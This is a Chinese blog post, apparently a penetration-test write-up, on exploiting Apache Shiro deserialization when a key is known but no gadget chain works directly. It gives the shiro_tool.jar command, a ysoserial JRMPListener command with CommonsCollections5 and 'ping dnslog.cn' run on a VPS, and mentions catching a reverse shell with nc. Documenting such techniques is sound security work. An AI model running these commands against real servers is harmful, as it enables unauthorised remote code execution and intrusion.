当前位置: 首页 > article >正文

实战shiro有key无链rce

场景:shiro框架,有可用key但没有可直接用的链

工具:shiro_tool.jar 和 ysoserial-0.0.6-SNAPSHOT.jar

前言

最近项目测试中,发现一个shiro框架的系统,经过工具扫描发现有可用的key,但是没有能直接使用的链,于是来复习一下有key无链来rce的打法。当利用工具发现有如下的情况,就可以尝试这种打法

操作步骤

当利用工具发现存在可使用的key但是没有能利用的链,就可以使用shiro_tool.jar来探测

java shiro_tool.jar http://xxx.xx

工具会帮我们探测,如果找到URLDNS可以利用dnslog来帮我们快速判断是否存在漏洞

这里我们选择JRMPClient

这时再利用公网的vps启用ysoserial工具

java -cp ysoserial-0.0.6-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1399 CommonsCollections5 "ping dnslog.cn"

然后回到shiro_tool.jar填上vps的 ip 和启用的端口,就可以进行rce

实战情况

通过探测发现可用key和jrmp的gadget

在vps启用工具ysoserial和监听反弹shell的nc

总结

  • 需有可用key
  • 可用JRMPClient
  • 可绕过WAF

http://www.kler.cn/a/541865.html

相关文章:

  • Baumer工业相机堡盟工业相机如何实现一次图像采集同时检测产品的5个面甚至多个面(C#)(NEOAPI SDK)
  • 深入Linux系列之进程地址空间
  • Vue(4)
  • 数据仓库和商务智能:洞察数据,驱动决策
  • C语言预处理艺术:编译前的魔法之旅
  • 利用二分法进行 SQL 盲注
  • mysql 学习11 事务,事务简介,事务操作,事务四大特性,并发事务问题,事务隔离级别
  • FANUC机器人示教器中如何显示或关闭寄存器或IO的注释信息?
  • AI时代下的安全新基石:零信任架构在人工智能系统中的应用
  • [python]png转webp的命令行工具
  • PyCharm结合DeepSeek-R1
  • JUnit5 单元测试详解
  • centos 7 关于引用stdatomic.h的问题
  • 【Git】完美解决git push报错403
  • 【20250211】栈与队列:225.用队列实现栈
  • 采集学校食堂人脸识别证件照,且尺寸底色统一的方法
  • 数据驱动企业数据智能化发展-通过财务数据分析模型评估企业经营健康度
  • ListWise 排序技术综述:从传统领域到大模型领域的跨越
  • APP广告变现,对接聚合广告平台创建广告位流程
  • dpdk的基础使用-抓包
  • RESTful开发中对象的合理使用探究
  • 分布式服务框架 如何设计一个更合理的协议
  • 爬取彩票网站数据
  • rpx和px混用方案
  • 【2024最新Java面试宝典】—— SpringBoot面试题(44道含答案)_java spingboot 面试题
  • el-table多列勾选